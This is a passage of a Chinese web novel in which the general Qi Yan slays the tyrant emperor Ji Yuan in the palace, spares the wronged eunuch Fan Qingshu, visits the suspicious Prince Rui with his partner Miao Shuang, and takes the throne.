陆暄没搭理他,给苗霜念了信,而后冷笑道:“姓祁的也真会给人找事,陆家的确欠他祁家人情不假,但帮他也得看事大事小,范阳虽兵力众多,可若想孤军取关中,却没那么容易,还有河东这个墙头草,禁军势众,他们自然要帮禁军。” 张晋:“喂!是我聋了,还是你们哑了?” 苗霜不耐烦地一抬手:“吵死了。” 这回张晋只能光张嘴不出声了,陆暄撇下信纸:“再给我几年时间或许能行,但狄历恐怕等不了那么久,更何况皇帝那位子又不是谁都想坐,如今的大雍就是个烂摊子,我们范阳并不想接手。” 苗霜:“还有呢?” “还有什么?” “信里就只有这些内容,没别的了?” “不然你还想要什么?” 苗霜从袖中摸出一个瓶子,笑吟吟道:“解药。” “……”陆暄只得又把信纸捡回来,不情不愿道,“他还说,若实在不能成事,就让我们想办法保住苗疆大巫和他的族人,祁雁时运不济,没能保护天下苍生,甚至护不住枕边人……跟我扯这些干什么?” 他一脸嫌弃地把信纸撇开,冲苗霜伸手:“信我念完了,解药。” 苗霜看上去心情甚好,笑眯眯道:“没在酒里下毒,这是泻药。” 陆暄:“…………” 苗霜随手解开了张晋身上的毒,将手里的药瓶递给他:“解药拿好。” 张晋终于又能听见,又能说话了,惊魂甫定地拍了拍胸口,也不疑有他,急忙将那瓶“解药”干了。 陆暄起身就走。 “怎么走了?”张晋问道,“饭不吃了?” “不吃了,急着回去交差,出来得太久,某个人要发癫了,要吃你自己吃。” 张晋急忙扒拉完碗里的饭,起身追上他:“那也好歹等到祁雁回来再走吧?要是他真称了帝,咱们好讨点赏赐,这一路消耗的军粮也不是大风刮来的,要是他不小心死在了季渊手里,咱还能捡个漏不是。” 陆暄一阵无语:“跟你这种蠢人真是没话好讲。” 他回过头,最后对苗霜道:“记得帮我转告祁雁,陆家欠他们祁家的人情已经还清,自此以后,两不相欠。” 他的身影消失在楼梯上,张晋的声音渐远:“我这肚子怎么突然有点疼……” 苗霜挑了挑眉,看着这一桌菜,还是没动筷子,只将桌上的信纸收走了,对姜茂道:“过来吃饭。” 姜茂沉默地坐在他对面,听话地开始吃饭。 吃了一会儿,他又抬头:“大巫不吃吗?” “不爱吃。” “可这么多我一个人也吃不完,要不……我叫几个兄弟上来一起吃?” “随你。” 姜茂叫了人上楼吃饭,苗霜则站在窗边,向远处眺望。 这家酒楼不愧是城中最好的酒楼,位置相当优越,从此处远望,皇宫的轮廓若隐若现。 就在这里等祁雁回来吧。 第120章 第 120 章 杀真龙,成天子。…… 祁雁带着人杀进了皇宫, 和宫内仅剩的禁军短兵相接,晏安已降,城门已破, 这最后一道防线也已经没什么斗志可言,而祁雁带来的人正是士气高涨, 一路势不可挡,杀人如同砍瓜切菜。 太监宫女吓得四处逃窜, 祁雁并无意伤及无辜,只叫手下人威吓警示,高喊投降不杀。 瑟瑟发抖的人们跪了一地,祁雁踩着染血的青石路,来到他们跟前,问道:“季渊现在何处?” 手里刚砍过人的刀还在滴血,跪在地上的人们大多噤若寒蝉,只有个小太监颤颤巍巍地伸出手,为他指明方向:“在、在蓬莱池喂、喂鱼……” 祁雁眯了眯眼。 这种时候了, 季渊居然还有心情喂鱼。 他一招手,一队人便尾随他往蓬莱池而去, 而今正值春夏之交,蓬莱池正是绿意盎然,任凭外界如何血雨腥风,这里依然是一片祥和宁静。 湖中假山嶙峋,怪石奇景间流水潺潺,亭台水榭, 回廊拱桥,碧波绿水间倒映着柔荑嫩柳,美不胜收。 许多尾锦鲤正聚集争抢, 季渊站在桥上,毫不吝啬地往水里撒去鱼食。 祁雁来到他身后。 只见那些锦鲤个个被喂得膘肥体壮,憨态可掬,晏安城内已有人饿死,这些皇宫里的锦鲤却腹胀如鼓。 “祁雁啊,”季渊一边喂鱼,一边头也不回地说,“你为何总是阴魂不散?夜夜在梦里对朕纠缠不休,而今甚至敢在白天出现,究竟想要朕如何?” “陛下心里有鬼,才会在夜里见鬼,”祁雁顺着台阶一步步走上桥,拿过他手里的鱼食,“再喂,这些鱼就要撑死了。” “……”季渊终于回过头来,看向那张让他恨之入骨的脸,怨毒和愤怒令他面目扭曲,“这是朕的鱼,朕想喂就喂,你是朕的将,朕想杀就杀!朕杀你一次不得,杀你两次不得——事不过三!” 他说着,猛地拔出腰间佩剑,架在了祁雁脖子上。 祁雁随手用刀柄拨开了他的剑尖,缓缓下压:“剑乃君子器,陛下不配用。” 内力凝聚于刀身,这轻轻一拨竟重逾千斤,季渊拼尽全力也无法再让剑尖抬起分毫,佩剑在手中剧烈颤抖,终于无力垂下。 季渊眉间抽跳,已是怒不可遏,祁雁却并不看他,只望向水中还未散去的锦鲤:“几条鱼,贱畜耳,几个百姓,贱民耳,几位将领,贱官耳,陛下自以为万人之上,九五之尊,生杀予夺,可随意处置任何人任何物,却不知,若无贱畜,何以为食?若无贱民,何以为天下?若无贱官,何以治家国?!” 他说着,忽然向季渊看来,那漆黑眼眸深不见底,冷峻眉目凛冽如霜,逼人的压迫感让人遍体生寒。 季渊下意识后退了一步。 “先有民,后有君,”祁雁再次向他逼近,“民为重,君为轻,陛下既心无百姓,又何得百姓爱戴?既心无朝臣,又何令朝臣忠君?陛下所图谋不过一把龙椅,一身龙袍,可若陛下脱下这身龙袍,又与贱民何异?” “你……你……!”季渊已经气得说不出话来,指向他鼻子的手颤抖不已,“荒唐!朕是皇帝,朕是真龙天子!” “真龙天子又如何?”祁雁微微笑了,他缓缓拔刀出鞘,刀刃划向季渊价值连城的龙袍,“祁雁这些年所杀之人,没有一万,也有八千,难道真龙天子杀起来比兵强马壮的狄历人更难些?若是,我就认可陛下比贱民更尊贵,若否……” 刀刃自季渊襟前轻轻划过,季渊持剑去挡,手中之剑竟断作两截。 他忽然感觉胸前一凉,低头看去,只见襟前绣着的盘龙被一斩两半。 紧接着,他从那破损的龙袍中看到了一抹红,那红色顺着刀痕一线渗出,迅速蔓延,直至喷薄如泉涌。 他难以置信地看着从身体里流出的血,引以为傲的武艺在祁雁面前竟然不堪一击,那条被血染红的金龙便这样踉跄着向后倒去,于石桥之上轰然坠落。 真龙砸进池水,惊起涟漪无数,游鱼仓皇逃窜,鲜血染红碧波。 祁雁站在桥上,居高临下地看着水中翻腾的鱼,笑道:“看来陛下,确与贱民无异哪。” 生机盎然的蓬莱池一片死寂。 跪在地上的太监宫女无人敢抬头,无人敢开口,禁军的尸体横在路上,皇帝的尸体沉在水中,金碧辉煌的皇宫似成人间炼狱,而那位刚从炼狱里爬上来的恶鬼正在尸山血海间穿行,衣袍擦过尸体,不慎沾上血迹亦浑然不觉,长刀上几滴鲜血滑落,那刀刃仍雪亮如新。 他还刀入鞘,环顾四野:“还愣着干什么,这宫内如此凌乱,难道要朕亲自收拾?” 太监宫女们齐齐一抖,匆忙起身开始打理战场,有些人竟已跪软了腿,站不起来。 祁雁吩咐手下人去帮忙搬运尸体,自己则走向跪在不远处的人,那人已跪了许久,两个士兵正守在他左右两侧,其中一个上前来,冲他抱拳:“将军,不……陛下,此人是季渊的贴身内侍,他说他叫……青书。” 祁雁停在青书面前,那太监看上去二十四五,相比年老体衰的祝公公自然是俊秀无比,早就听闻季渊好男色,即位至今八年不立后,不纳妃,也无子嗣,后宫男宠成群,喜欢了今日宠幸,不喜欢了明日杀,换人比翻书还快。 这太监…… 青书跪在地上,并不开口,也不抬头,祁雁注视他良久,对身边护卫道:“你们先退下。” “是。” 屏退了左右,祁雁在那太监面前蹲身:“你就是瑞王在宫中的内应?” 太监一语不发。 “为何不说话?”祁雁不解,“你若求情,我便放你一命,此番我能顺利进京,瑞王帮助良多,你既是他的人,我也不会为难你。” 青书仍未抬头,而是一叩至地:“范青书以色侍君,承欢献媚,欺君罔上,为虎作伥,罄竹难书,但求速死!” 祁雁愣了一下:“范青书?” 这个名字……他有印象,不过也只是略有耳闻。 他不太确定道:“你莫非是……那位十七岁高中探花的探花郎,范青书?” 青书并未回答。 他这反应更加坐实了祁雁的猜测,他不禁有些愕然,因为那位少年探花郎,应该早已死了才对。 那是季渊即位后第一届科举,也是他在位期间唯一的一届,皇帝钦点的探花,却又亲自撤了,原因是有人揭发科考中有人作弊,而那位作弊的学子正是范青书。 当时科考舞弊风波闹得沸沸扬扬,牵连甚广,负责主持科考的吏部一众官员皆被革职,至于作弊者本人范青书更是让龙颜大怒,杖责之后不治身亡。 今日却告诉他,范青书……还活着? 并且净身入了宫,成了季渊的贴身内侍? ……何其荒唐。 祁雁几乎是瞬间就明白了这是怎么一回事,季渊一定是在殿试时看到了范青书的容貌,想将他留在身边,可既点探花,日后自是一路晋升平步青云,季渊需要的不是满腹经纶的臣子,而是能供他亵玩的男宠。 至于科举本身,也不过是他排除异己的工具,所有中举者九成为内定,而范青书只是个偏远县城靠真才实学考进来的穷酸学子,怎样拿捏他全看皇帝心情,皇帝说他作弊,他就是作弊,既能让他假死收进后宫供自己玩乐,又能借此机会大做文章,换血京中官员,翦除异党,何乐不为? 人命轻贱如草芥,范青书本人境遇如何,谁又会在意。 祁雁沉默半晌,竟是说不出一句话来,许久才道:“你……” “奴婢冲撞龙颜,罪无可赦,但求速死!”范青书冲他磕头,额头一下下磕在青石地面上,很快便磕出了血迹,“求陛下赐死,赐奴婢凌迟腰斩,死无全尸,扔进荒山野狗分食!” “……你这又是何苦?”祁雁向他伸手,强行将他扶了起来,想说些安慰的话,却又找不出一字半句。 还是只得道:“来人,扶他下去休息。” 范青书突然抬头,紧紧抓住了他的胳膊,已是双目赤红:“求陛下赐死!家母因奴婢科举作弊,椎心泣血,悬梁自尽!家父遭邻里唾骂,击鼓鸣冤,却被官府杖责之后丢出门外,病死街头!奴婢已无颜苟活于世,日日承欢帝榻,只待昏君身死,新帝当立,便于九泉之下向父母谢罪!” 他说着,竟然来抢祁雁的刀,祁雁当机立断,直接点了他的穴道。 两个士兵上前来,直接将范青书扛起,找地方安置他,范青书死死瞪向祁雁的方向,脖子上青筋暴起,目眦欲裂:“陛下!为何不杀?!” 嘶喊声渐渐远离,祁雁背过身去,不愿再看。 手下的士兵见了这一幕,也有些目不忍视,许久才开口问:“您……为何不成全他算了?” 祁雁看了他一眼。 对方立刻低下头去:“属下多嘴。” “该死的是季渊,而不是他,”祁雁叹了口气,“早知道季渊行事荒唐,没想到竟荒唐至此,也是让我大开眼界。” “那……咱们现在该干什么?” “事已至此,”祁雁抬脚向前走去,“先去找夫人吧。” 120-130 第121章 第 121 章 夫人在特意等我? 祁雁离开皇宫, 先找地方换了身衣服,清理干净身上所有的血迹,重新束了头发, 向手下人问清楚苗霜的所在,一路往酒楼而来。 之前跟随苗霜一起行动的士兵中正有两人在酒楼门口站岗, 祁雁问其中一人道:“大巫可还在?” “回将军,大巫一直在楼上等您。” 听到这话, 祁雁不禁放心下来,唇边也不由自主地浮现出一点笑意,他按捺着雀跃的心情快步上楼,就看到—— 本该安静的酒楼二楼正人满为患,所有的桌子都被他手下的士兵占领了,人手一把叶子大小的纸片,正玩得不亦乐乎。 离楼梯最近的人率先发现了祁雁的身影,猛地站起身来,把叶子牌藏到身后, 一抬头一挺腰:“将军!” 这一声“将军”惊动了所有人,士兵们手忙脚乱地收起了打到一半的叶子牌, 集体起身,个个站得板正笔直,装作无事发生。 不知是谁太过慌张,不慎将几张叶子牌掉落在地。 祁雁弯腰捡起那几张画着小人和字的纸片,环视众人:“让你们保护大巫的安全,你们就在这里给我玩这个?” “这……大巫好像也不需要我们保护啊, ”一个士兵小声说,“我们这一屋子的人,在大巫手下活不过半刻钟吧。” “还敢顶嘴?!” 那士兵立刻低下头去。 正抱着胳膊缩在角落, 已经快要睡着的苗霜听到动静,打着哈欠苏醒过来:“行了,还不是你去得太久,你手底下的人缠着我问东问西,把我问烦了,才寻了些叶子牌给他们解闷取乐。” 他说着站起身来,把捏在手里的一把叶子牌扔在桌上:“这小小纸片在京中风靡一时,确有几分乐子。” 一听到叶子牌是苗霜寻来的,祁雁的态度立刻缓和下来,把那几张纸片还给了手下士兵:“闲时解闷尚可,切莫玩物丧志,否则,军法伺候——还不快滚?” 士兵们一窝蜂地跑了,苗霜看着某个朝他走近的人,从头到尾将他打量了一遍,挑了挑眉:“我记得将军进宫前穿的不是这身衣服吧,怎么还特意换了一身行头来见我?哦,不对,或许该改口叫你‘陛下’?” “倒也不必,”祁雁停在他跟前,“杀了人,身上难免沾血,何况还是季渊的血,想必夫人不喜,便换了。” 顿了顿,又问:“季渊已死,蛊王血可解?” 苗霜招出袖子里的白蛇,白蛇在他掌心吐了吐信子。 他道:“小白说,它已经感觉不到压制存在了。” “那便好,”祁雁松了口气,“夫人等我良久,可吃饭了?” “还没。” “那一起吃如何?” “好啊。” 祁雁叫来店家,让店家又准备了一桌酒菜,姜茂站在一旁,看着苗霜神色自若地夹着盘子里依然没有半颗辣椒的菜,沉默。 所以,根本不是不能吃完全不辣的食物,是只看和谁一起吃对吗? 究竟要不要把“遗书”内容已经被大巫知道的事告诉将军呢…… 要不还是算了吧,总觉得刚刚大巫还挺高兴的,还是不要去打搅他们的兴致…… 或许是视线停留的时间太长,祁雁抬起头,疑惑地向他看来:“怎么?” “……没什么,”姜茂迅速回神,“只是想问将军,怎么不见赵戎?” “他回塞北了,你不知道?” 姜茂愣了一下:“不知。” “是我疏忽了,竟忘记告诉你,”祁雁将前因后果向他转述了一遍,“他不在,你好像很失望?” 姜茂眼神躲闪:“也没有,只是多日不见……我还以为他跟着您进宫了。” 祁雁笑了笑:“等京中事了,你便传信给他,问问他今后打算,你二人是想回雁归军,还是留在京中,自行决定吧。” “好。” “怎么一直站着,不过来一起吃饭?”祁雁又问。 “我吃过了,”姜茂如实作答,“中午请那位陆大人和张大人吃饭,大巫说菜色不合口味,没吃,陆大人也没吃,我便叫了几个兄弟把饭菜吃完了。” “哦?”祁雁看向苗霜,“那现在的菜色合口味了?” 苗霜停顿下来的筷子:“……” “似乎和中午没什么差别。”姜茂道。 苗霜转头看向他,露出和善的微笑。 姜茂迅速别开脸,装作什么都没看见。 他都帮他隐瞒遗书的事了,还不准他说这个吗。 “那看来,夫人是特意在等我吃饭了?”祁雁唇角微翘,帮他满上了酒,“是为夫之过,去得太久,竟让夫人饿肚子,实在该罚。” “你知道就好,”苗霜道,“那就罚你自饮三杯。” 祁雁还真的连干了三杯酒,苗霜看着他,感觉他现在应该心情不错,毕竟刚刚手刃完仇人,大仇得报,昏君已死,这隐瞒笼罩的大雍也该迎来转机了。 虽然后续的烂摊子还有一大堆,但眼下还是先享受这难得的清闲吧。 “对了,”祁雁终于想起什么来,“陆暄呢?” “把他打发走了,”苗霜言简意赅,“范阳和河东的兵马应该很快就会离开,大雍换帝的消息过不了多久就会传到敌国耳朵里,他们也得早些回去,以防不测才行。” “他还让我转告你,人情已经还清,从此以后陆家祁家两不相欠。”苗霜又道。 祁雁点了点头:“范阳陆氏虽心高气傲,却是重情重义之人,父辈之间的恩情,他们竟惦念至今。” 说起这个,苗霜不禁有些好奇:“什么恩情能让人不惜冒着谋逆的风险来帮你?你爹救了他爹的命?” 祁雁笑了下。 苗霜:“……” 随口一猜,居然还真猜中了。 “陆暄其实很不喜欢上战场,因为他父亲就差点死在战场上,那年狄历孤注一掷,伙同库莫奚向河北道发起进攻,试图绕过关内入侵中原,范阳伤亡惨重,我父亲亲自率兵前往支援,阻截狄历主力,又派出一支兵马包抄他们后方,这才逼得狄历退兵。” 他脸上的笑容忽而淡下来:“时过境迁,长辈们早已不在了,只剩下我们这些小辈。” “好了,别提姓陆的了,不想听。”苗霜道。 祁雁迅速收拾好了情绪:“好,那不说,我尽快给河东河北两道安排些赏赐,也不能让他们白来一趟,从此以后,大抵是难有往来了。” “嗯。” 两人在酒楼吃完了饭,天色渐晚,才开城门的晏安城内还是一片忙碌,想必京兆尹邹大人是要彻夜加班了。 禁军正在街头巡逻,维持城内治安,当然,这些禁军已经不是季渊的禁军,而且祁雁的禁军。 这段时间,各地送到晏安的粮食运不进城,都被围城的大军买下,现在这些多出来的粮食又分发给城中百姓,暂解京都缺粮之危。 两人正漫步在晏安街头,看着来来往往行色匆匆的人们,忽有传信的手下靠上前来,压低声音道:“将军,瑞王和御史大夫家的二公子打完马球回城了,两人在城门分别,已各自回府。” “知道了。”祁雁道。 那人转过身,很快又混迹进人流当中,不见了踪影。 “夫人,陪我走一趟瑞王府?”祁雁问。 苗霜点了点头。 他也对这个瑞王有些好奇,总有种奇怪的直觉告诉他,他们好像在哪里见过。 两人一边饭后消食,一边溜达到了瑞王府,晏安城的道路修得是四通八达,横平竖直,祁雁离京之前一直待在将军府里,行动不便,也没法出门,已经很久没有像这样在晏安街头漫步了。 太阳还没落山,瑞王府已经是灯火通明,舞乐之声隐隐传来——看来这位瑞王殿下的享乐生活是一天十二时辰从不间断的。 祁雁两人报上身份,家丁速去通禀,很快,瑞王便亲自迎了出来。 “原来是祁将军,快请快请,”季澜轻摇折扇,把他们迎进了府中,“不知两位造访,澜有失远迎,还望将军、大巫恕罪。” 苗霜瞄了他一眼。 近距离细看,只觉得这位瑞王更像个狐狸了,长得虽好,却实在是媚骨天成,颇有蓝颜祸水的气质。 “殿下和季渊不是一母所出吧?”苗霜问。 “自然不是,”季澜请他们到了正堂,府中舞姬正鱼贯退出,奏乐声停,仆从麻利地奉上上好的茶,“我若是皇兄……先帝胞弟,恐难苟活至今哪——陛下请,大巫请。” 在门口还是将军,这会儿又成陛下了,祁雁并未纠正他的称呼:“季渊已死的消息,应该还没在城中传开。” “今日不死,也是明日,明日不死,最多后日,这一声‘先帝’迟早要叫,早些晚些,却也无甚影响哪。” 祁雁:“殿下好像完全不在意他的死活,但我怎么听说,殿下和先帝关系还不错?” “将军都到我府上了,却还要揣着明白装糊涂,我日日与先帝勾心斗角,可不希望新帝也像他一般猜疑无度。啊,莫非是明秋那小内侍没和二位说清楚我的处境?唉,手下人办事不力,真是该罚,那我便再向将军诉说一遍——” 祁雁忙伸手比了个“停”的手势:“不必了,我知殿下难处,也十分同情,只是……” 他说着抬起眼帘,漆黑眼眸深深看向他:“殿下在多疑的先帝身侧都能明哲保身,甚至偷偷培植自己的势力,在关键时候予以他致命一击——” “我又怎知,殿下是真心与我合作,不会如法炮制,在我身上故技重施呢?” 第122章 第 122 章 夫人在眼皮子底下跑了…… “这……”季澜摇了摇扇子, “自是保证不了。” 苗霜眯了眯眼,白蛇爬到了他手腕上,嘶嘶吐着信子。 “开个玩笑, 开个玩笑而已,”季澜忙道, “我相信祁将军夺帝位,是为国为民, 既然如此,我又有什么道理暗中作梗呢?” 祁雁:“看不出来,殿下竟也有一颗爱民之心。” “唉,”季澜叹了口气,“虽有心,却是无力,澜自幼便夹在皇室纷争中不可自拔,许是因为年纪小,受到的宠爱稍多了一些, 便处处遭到兄长们提防,可我又无心参与他们的纷争, 更不想当皇帝,只得日日纵于享乐,游山玩水,不学无术,好让兄长们知道我不是当皇帝的料,饶我一命。” 他说着, 脸上竟露出些许落寞,缓缓站起身来:“许多年了,我身边从未有一个知心相交的朋友, 不是这位兄长的眼线,就是那位兄长的暗桩,偏偏为了让他们安心,我还要把假意装成真情——我想将军应该深有体会吧,比提防算计别人更难的,是知道他在算计你,还要装疯卖傻甘入彀中。” 祁雁垂下眼帘,望着杯子里的茶。 茶汤清亮,倒映着他自己的脸。 “这样的日子真是好生无趣,这偌大一个瑞王府,来来往往千百人,又有几人和我是一条心?我常常想,我或许不该出生在帝王家,当个普通人又有何不好?可惜啊,人甚至不能选择自己的出身,便是我想离开这京都再也不回来,兄长们也不肯放我离去呢。” 祁雁喝了口茶,搅碎了杯中倒影:“殿下若真离京不返,只怕一出城就会死于‘山匪’劫杀。” “谁说不是呢,”季澜坐回原位,“只是想安安稳稳地活着也这么难,为了苟且偷生,我也只能效仿我的兄长,勾心斗角,互相算计,也把我的触角伸到他身边……我终究是活成了自己最讨厌的样子,人生在世,身不由己啊。” 他说着帮祁雁和苗霜续满了茶:“两位若能让大雍重回盛世,澜自然求之不得,天下安定,才能更好地享福,澜生性懒惰,只想在树下乘凉,却无心当那栽树的人。” 苗霜瞄了他一眼:“你这脸皮真够厚的,一点力不出,还想坐享其成。” “大巫教训得是,”季澜嘴上这么说着,脸上却没有半分愧色,“但总有人要当那个没什么用,又不会碍着什么人的无关紧要的小角色,我相信将军恰好需要这么一个人。” 祁雁沉吟片刻,没再继续这个话题,而道:“你和范青书是怎么认识的?” “将军已经见过他了?”季澜道,“他也是个可怜人,我相信以他的性子,恐怕会求将军赐死吧,他现在可还活着?” “求了,但我没答应,我点了他的穴道,又命人看着他,让他冷静冷静。” “……这还真是简单粗暴,”季澜没忍住做出评价,“三年前的某一天,我被陛下叫进宫中作陪,无意中见到了范青书,那时我便觉得他有些眼熟,后来打听了一下,才知道他是当年的探花郎。” “将军知道,我这人好美色,听闻季渊点了个漂亮小郎君当探花郎,怎么不得去凑凑热闹,谁成想还没来得及和他结交,就闹出了科举舞弊案,当时我便猜测,一定是季渊对人家动了歪心思……咳,我和他虽不是一母所出,性子也不像,可这审美有时候还是颇为接近的。” 祁雁:“……” “后来在宫里再见到他,他已经完全变了一个人,一言不发,分明活着,却像具行尸走肉,我于心不忍,便偷偷和他搭上了线,就算是为复仇而活,也总有些活下去的希望。” 话到此处,两人都沉默下来,气氛变得有些沉闷。 “两位可要在府上过夜?”季澜问,“若是的话,我提前让下人们备好房间。” 祁雁:“不了,季渊刚死,诸事繁杂,可没时间陪殿下欣赏舞乐。” “那真是可惜了,我府上恰有一批西域来的舞姬,有男有女,将军若是喜欢——” 苗霜冷冷看向他。 “——若是喜欢,可常来我府上看,和大巫一起。”季澜摇着扇子道。 “这倒不必了,祁雁一介武夫,恐欣赏不来这等雅致,何况区区胡舞,又岂能比得上苗疆大巫祭神傩戏?” “哦?”季澜瞬间来了兴致,“苗寨的傩戏吗?不知澜可有幸……” 苗霜微笑道:“没有。” “哎呀。” “天色已晚,我二人这便回了。”祁雁道。 季澜起身相送,刚走出正堂,祁雁却又停下脚步:“我忽有一计,或可让殿下永远站在我这边。” “哦?澜愿闻其详。” * 两人离开瑞王府时,天已经完全黑了。 苗霜站在府邸门口,最后回头望了一眼灯火通明的王府,若有所思。 这瑞王……的确很像他见过的一个人。 说“人”却也不准确,应该是他见过的一个妖。 修真界魔族兴起后,一段时间内曾是仙、魔、妖三足鼎立,但随着魔族越来越强,妖界那位妖王似乎察觉到了不妙,先行带着族人隐居,致使妖族一度退出了仙魔争锋。 而那位打不过就跑的妖王,恰好是只狐狸。 公的。 但狐生千面,妖王每次现身时皆以不同的面容出现,有时是青年,有时是少年,有时是孩童……没人知道他究竟长什么样子。 苗霜还是魔尊时也曾见过他,可不知是他的记忆本就残缺,还是这狐狸的问题,他竟无法准确描述出妖王的长相,唯一能确定的是,妖王长得真的很像个狐狸。 就像现在的瑞王。 如果瑞王真的是妖王,苗霜就更加不理解了,这个世界明明是一本书,他和祁雁打架撕裂空间导致他们掉进其中,这能理解,但又关妖王什么事? 那时,妖王应该正带着族人隐居,不可能出现在他们的交手现场。 又或许是他想多了。 他并没在瑞王身上感觉到任何妖气,也不觉得有熟悉的神魂在附近,如果他真是妖王,他不可能认不出来。 “夫人,怎么了?”见他半晌不语,祁雁开口道,“可是不认可我刚才的决定?” “没有,”苗霜回过神来,“只是觉得这瑞王有些熟悉,却又说不上是哪里熟悉。” 听他这么说,祁雁有些惊讶:“实不相瞒,我也有这种感觉。” “嗯?” “我少时一次随父进京,就见过尚且年幼的瑞王,那时我少年性子,也是心直口快,见了面就说九殿下好眼熟,父亲还说我小小年纪就学会了套近乎,大人们开着我的玩笑,也没人真把我的话放在心上,但我却颇觉难堪,从那之后,我便再也不随便说话了。” “很快我又随父亲离京,这件事也就被我抛到了脑后,直到后来我被季渊召回京中,在宴会上再次见到瑞王,看到他成年后的样子,反而让我心里那种熟悉感不减反增。” “我也说不上来是因为什么,只有种直觉,他应该不是敌人。” 苗霜:“……” 看来他真没猜错。 如果只是他自己觉得眼熟,并不能证明什么,但如果祁雁也觉得熟悉,那这个瑞王八成真和妖王有关系。 青锋派和妖族的接触比他这个魔尊更多,祁雁会认识妖王他不奇怪,可祁雁为什么会觉得妖王是友非敌?修真界千万年来,人与妖争斗不休,他们应该是血仇才对。 难道这位特立独行的妖王一改妖族作风,和人族化干戈为玉帛了? 至少在他还是魔尊期间没听说过这种事,难道是在他死后? 他死后修真界又发生了什么他一概不知,本该在祁雁剑下灰飞烟灭的神魂还活着也令人匪夷所思,他一直认为祁雁是在那场惊天大战后和他一起掉进了书里,难道不是? 可惜祁雁现在记忆全无,他注定没办法搞清楚这一切了。 抛开这些不谈…… 为什么姓祁的对一个妖王都有印象,觉得他眼熟,而对他这个师弟兼对手却一点也想不起来? 选择性遗忘,只忘了他是吧。 苗霜眯起眼来,忽然就有点生气了,他看了祁雁一眼,冷哼一声,转头就走。 一头雾水的祁雁:“?” “夫人要去哪儿?”他试图叫住对方,“回皇宫不是那个方向。” 苗霜一语不发,继续往前走。 祁雁只得跟上:“不去皇宫,也至少找家客栈过夜吧,前面住着的都是些达官显贵,并没地方落脚。” 苗霜越走越快。 这时,忽有一串脚步声在前方响起,巡逻的禁军听到动静,迅速接近:“什么人?!现已宵禁,若无许可不得犯夜!停下!” 苗霜充耳不闻,也没停下。 那禁军拔刀便要追:“站住!再不停下,杖责二十!” 祁雁看不过去了,开口道:“是我。” 那禁军听出他的声音,倏地停下脚步,一瞬间气焰全无:“将、将军?您怎么会在此处?” “来拜访瑞王,聊得久了些,没注意已经宵禁了,”祁雁道,“怎么,连我也要罚吗?” “不敢不敢!”禁军连连摆手,抱拳道,“是属下有眼无珠,冲撞了将军,请将军责罚!” “行了,现在城里乱,你们严防死守也是无可厚非——速去干活吧。” “是!” 一队禁军迅速离去,祁雁回过头,想再追上苗霜,却发现漆黑一片的街道上空空如也,寂静非常,哪里还有苗霜的踪迹。 祁雁:“……” 这帮家伙,真是会给他添乱。 第123章 第 123 章 这嘴还是堵上为好。…… 祁雁闭上双眼, 感知力顺着四通八达的街道铺展开去,很快就发现了苗霜的所在。 他御起轻功,以最快的速度杀到对方面前, 拦住了他的去路。 “……”苗霜被迫停下脚步,抬起头看他, “追上来得还挺快。” “夫人为何要跑?”祁雁十分不解,“又为何生气?” “你哪只眼睛看见我生气了?” “……两只眼睛。” 苗霜不屑地嘁了一声, 阴阳怪气道:“那将军可是该去看看眼睛了,该不会是经脉尽毁的后遗症还没好吧?都要当皇帝的人了,眼神若是不好,可怎么洞察人心,辨朝臣忠奸呢?” 祁雁:“……” 这叫没生气? 他上前一步:“那烦请大巫帮我看看。” 苗霜后退一步:“宫里那么多太医,你不找他们,找我做什么?将军马上要登基了,还是少和巫医异族厮混为妙,免得落人口实。” 祁雁眯了眯眼, 猛地伸手捉住他的手腕,凑上前来:“你到底在气我什么?可是和那瑞王有关?” “无关。” “那又是为何?” “不为何, 单纯今晚看你不爽,认识我这么久了,还不知道我蛮不讲理无理取闹?” “……” 被他一番冷嘲热讽,祁雁心里也难免蹿出几分火气,他用力将对方拉向自己,直接堵住了他的嘴。 既然不说好话, 那就干脆别说了。 苗霜现在并不想和他接吻,本能地挣扎了一下,却被更大的力道箍进怀中, 感觉得出来,这个吻颇带着些气急败坏的味道。 百般叮嘱他不要乱跑,他还偏要乱跑,甚至是在某人眼皮子底下,还是以不明不白的原因,换位思考一下,如果这么干的是祁雁,苗霜早要接管他身体里的蛊虫,让他动弹不得。 但能理解不代表要做出让步,魔尊大人向来我行我素,什么事他能干,但别人不行,并且他也不打算和祁雁解释清楚,这事根本没法解释。 两个人都带着点怨气地加深了这个吻,夜深人静的大街上,他们就这么吻得旁若无人……旁也的确无人。 血腥气在唇舌间蔓延,这些时日一直在行军打仗,即便亲热也是浅尝辄止,已经很久没有像今天这么激烈了。 好不容易分开时,两人都有些气喘,祁雁舔了舔嘴角的伤口,伤口已经开始愈合,疼痛之上又覆盖了一层麻痒。 自从苗霜用蛊虫给他重塑完经脉,他的自愈能力就变得和对方相差无几,这意味着不论他们晚上折腾得多过分,第二天早上醒来,身上依然干干净净,什么痕迹也没有。 这样的体质的确能减少很多不必要的麻烦,却也少了几分成就感,做完了却没一点事,好像没做似的。 祁雁盯着面前的人,觉得务必要想点什么办法让他老实待着,最好是在床上待着。 于是他手臂一紧,托住对方的腿根往上一抬,直接把人扛到了肩膀上。 离地的失重感让苗霜微惊,怒道:“你干什么?放我下来!” 祁雁却充耳不闻,轻功一展,扛着人便飞到了房顶,在屋脊上几个纵跃,很快没了踪影。 还在巡逻的禁军中有人抬起头,疑惑地看了一眼:“什么东西过去了?” 另一人也跟着抬头,只看见月色当空:“哪有什么东西?” “我刚才明明看到一个黑影……” “可能是鸟吧,别管了,抓紧巡夜。” * 大雍121年,天庆八年,四月初十,大将军祁雁弑君篡位,帝崩,年二十九岁。 季渊在位期间,大造杀孽,残暴不仁,奸臣当道,民不聊生,内忧外患,泱泱大国已危如累卵。 谥号,厉。 四月十二,祁雁正式即位,改国号景,年号元兴,祭天告祖,大赦天下。 此时此刻,刚刚登基的新帝祁雁正对着堆积如山的奏折,头疼地按了按眉心。 是的,这些奏折全部是前朝留下来的,看这样子,季渊少说有半年没翻过一次。 祁雁一目十行地翻阅着,试图从里面找些有用的东西,太久以前的干脆不看了,只看近两个月内的。 每看一份,眉头就更皱紧一分,终于他忍无可忍,把手里的东西一扔:“谁教他们这么写奏折的?!” 通篇是些无用的废话,报喜不报忧,只看这字里行间,还以为大雍正处在什么百姓安居民生和乐,君圣臣贤四海升平的盛世呢。 “陛下,那些都是些无用的折子,”眼看着他逐渐暴躁,范青书终于开口,“有用的我已整理出来,单独存放了。” 祁雁额头青筋跳了跳:“你为何不早说?” “陛下却也没问。” “……” 祁雁深吸一口气。 很显然,这太监是在记恨他没将他赐死,故意报复。 懒得跟他计较,祁雁道:“拿来给我。” 